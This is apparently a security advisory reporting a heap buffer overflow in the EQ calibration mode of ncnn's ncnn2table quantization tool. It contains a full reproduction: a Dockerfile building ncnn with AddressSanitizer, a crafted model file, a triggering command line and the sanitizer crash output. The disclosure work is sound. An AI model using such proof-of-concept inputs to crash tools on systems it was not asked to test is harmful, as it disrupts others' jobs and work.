Heap Buffer Overflow in EQ Calibration
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/quantize/ncnn2table.cpp:1563 in QuantNet::quantize_EQ
Sanitizer verdict: heap-buffer-overflow
Summary
ncnn2table's EQ calibration mode indexes the per-input calibration vectors — pixel type, means, norms, shapes and file lists — with the weight-scale index instead of the input-blob index. Any model with more convolution output channels than network inputs (the normal case) makes the tool read past those one-element vectors and abort, killing the quantization job. The entry point is tools/quantize/ncnn2table invoked with method=eq, reached from main at tools/quantize/ncnn2table.cpp:2237.
Detail
main validates that listspaths, means, norms, shapes and type_to_pixels each contain exactly input_blob_count entries (checks at ncnn2table.cpp:2176-2196), so their length is fixed by the network's input count and by how many comma-separated mean=/norm=/shape=/pixel= groups the operator passed. In QuantNet::quantize_EQ the outer loop j walks weight_scale.w, one entry per convolution output channel, and the inner loop jj walks input_blob_count — but the body uses j:
// tools/quantize/ncnn2table.cpp:1533
for (int j = 0; j < weight_scale.w; j++)
{
// tools/quantize/ncnn2table.cpp:1557
for (int jj = 0; jj < input_blob_count; jj++)
{
ncnn::Mat in;
if (0 == file_type)
{
const int type_to_pixel = type_to_pixels[j];
const std::vector<float>& mean_vals = means[j];
const std::vector<float>& norm_vals = norms[j];
jj is declared and then never used as a subscript; every access in the block — type_to_pixels[j], means[j], norms[j], shapes[j], listspaths[j][i], and ex.input(input_blobs[j], in) — should be indexed by jj. The equivalent loops in the KL and ACIQ paths (ncnn2table.cpp:814 and :895) index correctly with the input counter, which confirms the intent. The same defect appears again at ncnn2table.cpp:1680 in the bottom-blob-scale search.
The PoC model has one input blob and Convolution conv 1 1 data out 0=2 1=1 5=0 6=6, i.e. num_output = 2, so weight_scale.w is 2 while type_to_pixels holds the single entry parsed from pixel=BGR (the 4-byte region ASan reports, allocated by parse_comma_pixel_type_list at ncnn2table.cpp:1989). The first iteration, j == 0, is in range and prints the expected conv w 0 line. On the second, j == 1, type_to_pixels[1] reads the 4 bytes immediately after the one-element vector and the tool aborts. Because std::vector::operator[] is unchecked, the following means[1], norms[1] and shapes[1] accesses would dereference out-of-bounds std::vector and Mat headers, so in a non-instrumented build the failure mode is a wild pointer read rather than a clean stop.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-buffer-overflow-in-eq-calibration && cd ncnn-poc-heap-buffer-overflow-in-eq-calibration
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=1 1=1 2=3
Convolution conv 1 1 data out 0=2 1=1 5=0 6=6
EOF
base64 -d > poc.bin <<'EOF'
AAAAAAAAgD8AAABAAABAQAAAgEAAAKBAAADAQA==
EOF
cat > pixel.ppm <<'EOF'
P6
1 1
255
xyz
EOF
cat > images.txt <<'EOF'
pixel.ppm
EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/quantize/ncnn2table poc.param poc.bin images.txt out.table 'mean=[0,0,0]' 'norm=[1,1,1]' 'shape=[1,1,3]' pixel=BGR method=eq
AddressSanitizer output:
mean = [0.000000,0.000000,0.000000]
norm = [1.000000,1.000000,1.000000]
shape = [1,1,3]
pixel = BGR
thread = 24
method = eq
---------------------------------------
count the absmax 0.00% [ 0 / 1 ]
build histogram 0.00% [ 0 / 1 ]
conv : max = 122.000000 threshold = 121.136230 scale = 1.048406
search weight scale 0.00% [ 0 / 1 ] for 0 / 2 of 0 / 1
conv w 0 = 42.333332 -> 31.326666
search weight scale 0.00% [ 0 / 1 ] for 1 / 2 of 0 / 1
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000004b4 at pc 0x643c8cdb50b5 bp 0x7fffd804f6f0 sp 0x7fffd804f6e0
READ of size 4 at 0x5020000004b4 thread T0
#0 0x643c8cdb50b4 in QuantNet::quantize_EQ() /ncnn/tools/quantize/ncnn2table.cpp:1563
#1 0x643c8cdc8712 in main /ncnn/tools/quantize/ncnn2table.cpp:2237
#2 0x7a7679c1c1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#3 0x7a7679c1c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#4 0x643c8cd80be4 in _start (/ncnn/build/tools/quantize/ncnn2table+0x2a5be4) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
0x5020000004b4 is located 0 bytes after 4-byte region [0x5020000004b0,0x5020000004b4)
allocated by thread T0 here:
#0 0x7a767a297548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
#1 0x643c8ce03fb1 in std::__new_allocator<int>::allocate(unsigned long, void const*) (/ncnn/build/tools/quantize/ncnn2table+0x328fb1) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
#2 0x643c8cdf142a in std::_Vector_base<int, std::allocator<int> >::_M_allocate(unsigned long) (/ncnn/build/tools/quantize/ncnn2table+0x31642a) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
#3 0x643c8cdf65e1 in void std::vector<int, std::allocator<int> >::_M_realloc_insert<int>(__gnu_cxx::__normal_iterator<int*, std::vector<int, std::allocator<int> > >, int&&) (/ncnn/build/tools/quantize/ncnn2table+0x31b5e1) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
#4 0x643c8cded3b6 in void std::vector<int, std::allocator<int> >::emplace_back<int>(int&&) (/ncnn/build/tools/quantize/ncnn2table+0x3123b6) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
#5 0x643c8cddeba9 in std::vector<int, std::allocator<int> >::push_back(int&&) (/ncnn/build/tools/quantize/ncnn2table+0x303ba9) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
#6 0x643c8cdc5eab in parse_comma_pixel_type_list /ncnn/tools/quantize/ncnn2table.cpp:1989
#7 0x643c8cdc7b1d in main /ncnn/tools/quantize/ncnn2table.cpp:2166
#8 0x7a7679c1c1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x7a7679c1c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#10 0x643c8cd80be4 in _start (/ncnn/build/tools/quantize/ncnn2table+0x2a5be4) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/tools/quantize/ncnn2table.cpp:1563 in QuantNet::quantize_EQ()
Credit
Zheng Yu @ DepthFirst